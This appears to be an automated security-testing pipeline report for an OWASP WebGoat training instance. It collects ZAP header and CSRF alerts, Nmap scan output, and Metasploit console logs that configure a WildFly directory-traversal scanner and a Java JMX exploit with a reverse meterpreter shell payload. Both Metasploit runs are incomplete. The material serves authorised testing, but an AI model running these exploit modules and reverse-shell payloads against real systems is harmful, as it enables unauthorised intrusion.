  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/registration
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/registration
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/registration
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.240.24.216:8080/
    - http://4.240.24.216:8080/robots.txt
    - http://4.240.24.216:8080/sitemap.xml
    - http://4.240.24.216:8080/WebGoat/registration

View the following link to download the report. RunnerID:7285107644

- Site: http://20.198.76.139:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.198.76.139:8080/WebGoat/registration
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.198.76.139:8080/WebGoat/registration
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.198.76.139:8080/WebGoat/registration
  - **Missing Anti-clickjacking Header** [10020] total: 1:
    - http://20.198.76.139:8080/WebGoat/registration
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.198.76.139:8080/WebGoat/registration

- **X-Content-Type-Options Header Missing** [10021] total: 1:
  - http://20.198.76.139:8080/WebGoat/registration
- **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
  - http://20.198.76.139:8080/
  - http://20.198.76.139:8080/robots.txt
  - http://20.198.76.139:8080/WebGoat/registration
- **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
  - http://20.198.76.139:8080/
  - http://20.198.76.139:8080/robots.txt
  - http://20.198.76.139:8080/WebGoat/registration
- **Sec-Fetch-Site Header is Missing** [90005] total: 3:
  - http://20.198.76.139:8080/
  - http://20.198.76.139:8080/robots.txt
  - http://20.198.76.139:8080/WebGoat/registration
- **Sec-Fetch-User Header is Missing** [90005] total: 3:
  - http://20.198.76.139:8080/
  - http://20.198.76.139:8080/robots.txt
  - http://20.198.76.139:8080/WebGoat/registration
- **Storable and Cacheable Content** [10049] total: 4:
  - http://20.198.76.139:8080/
  - http://20.198.76.139:8080/robots.txt
  - http://20.198.76.139:8080/sitemap.xml
  - http://20.198.76.139:8080/WebGoat/registration

View the following link to download the report. RunnerID:7319973187

Priotity-High Metasploit-ParrotOS Test output

GitHub Issue number # 811

GitHub Issue URL : Here!

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [15.5 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [103 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [210 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [502 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [980 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 17.5 MB in 2s (8252 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common
47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.6 MB of archives.
After this operation, 34.8 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common
47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.6 MB of archives.
After this operation, 34.8 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease
Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 4.240.24.216

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/java/meterpreter/
reverse_https

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 810

GitHub Issue URL : Here!

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 4.240.24.216

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [15.5 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [103 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [210 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [502 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [980 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 17.5 MB in 3s (6689 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common
47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.6 MB of archives.
After this operation, 34.8 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common
47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.6 MB of archives.
After this operation, 34.8 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease
Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (https://nmap.org) at 2023-12-21 07:19 UTC

Nmap scan report for 4.240.24.216

Host is up (0.23s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 cf:a1:2f:3e:d2:51:90:49:eb:68:6f:bb:c5:5b:f2:86 (ECDSA)

|_ 256 ad:21:8a:b4:77:d8:59:bd:1e:68:2e:f9:0f:5a:82:15 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|_http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 21 Dec 2023 07:23:49 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 21 Dec 2023 07:23:47 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Thu, 21 Dec 2023 07:23:48 GMT

9090/tcp open zeus-admin?

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 21 Dec 2023 07:24:30 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, SqueezeCenter_CLI, TLSSessionReq, TerminalServerCookie, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 21 Dec 2023 07:23:47 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Thu, 21 Dec 2023 07:24:05 GMT

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=12/21%Time=6583E803%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Thu, 21 Dec 2023 07:23:

SF:47 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Thu, 21\n

SF:x20Dec 2023 07:23:48 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Thu, 21\x

SF:20Dec 2023 07:23:49 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

SF:r

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con

SF:tent-Length: 0 Connection: close

")%r(TerminalServerCoo

SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

")

SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x

SF:200 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len

SF:gth: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(WMSRequest,42,"

SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio

SF:n: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=12/21%Time=6583E803%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Thu, 21 Dec 2023 07:23:

SF:47 GMT

")%r(WMSRequest,42,"HTTP/1.1 400 Bad Request

SF: Content-Length: 0 Connection: close

")%r(ibm-db2-da

SF:s,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Con

SF:nection: close

")%r(SqueezeCenter_CLI,42,"HTTP/1.1 400

SF:0Bad Request Content-Length: 0 Connection: close

SF:")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-Len

SF:gth: 0 Connection: close

")%r(HTTPOptions,65,"HTTP/1.1

SF: 404 Not Found Connection: close Content-Length: 0

SF: Date: Thu, 21 Dec 2023 07:24:05 GMT

")%r(R

SF:TSPRequest,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:00 Connection: close

")%r(Help,42,"HTTP/1.1 400 Bad

SF: Request Content-Length: 0 Connection: close

")%r

SF:(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Content-Length

SF:: 0 Connection: close

")%r(TerminalServerCookie,42,"HTT

SF:P/1.1 400 Bad Request Content-Length: 0 Connection:\n

SF:x20close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

")%r(Kerberos

SF:,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Conn

SF:ection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400 Bad

SF:Request Content-Length: 0 Connection: close

")%r(Fou

SF:rOhFourRequest,65,"HTTP/1.1 404 Not Found Connection: c

SF:lose Content-Length: 0 Date: Thu, 21 Dec 2023 0

SF:7:24:30 GMT

")%r(LPDString,42,"HTTP/1.1 400 Bad Req

SF:uest Content-Length: 0 Connection: close

")%r(LDAPSe

SF:archReq,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n

SF:r Connection: close

")%r(SIPOptions,42,"HTTP/1.1 400

SF:Bad Request Content-Length: 0 Connection: close

"

SF:);

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.10 cpe:/o:linux:linux*kernel:4.4 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.5 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 3.10 (85%), Linux 4.0 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5402.29 ms 4.240.24.216

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 360.30 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (https://nmap.org) at 2023-12-21 07:25 UTC

Nmap scan report for 4.240.24.216

Host is up (0.24s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (https://nmap.org) at 2023-12-21 07:25 UTC

Nmap scan report for 4.240.24.216

Host is up (0.24s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 809

GitHub Issue URL : Here!

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 808

GitHub Issue URL : Here!

Snyk_scan
"priotity High"

Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.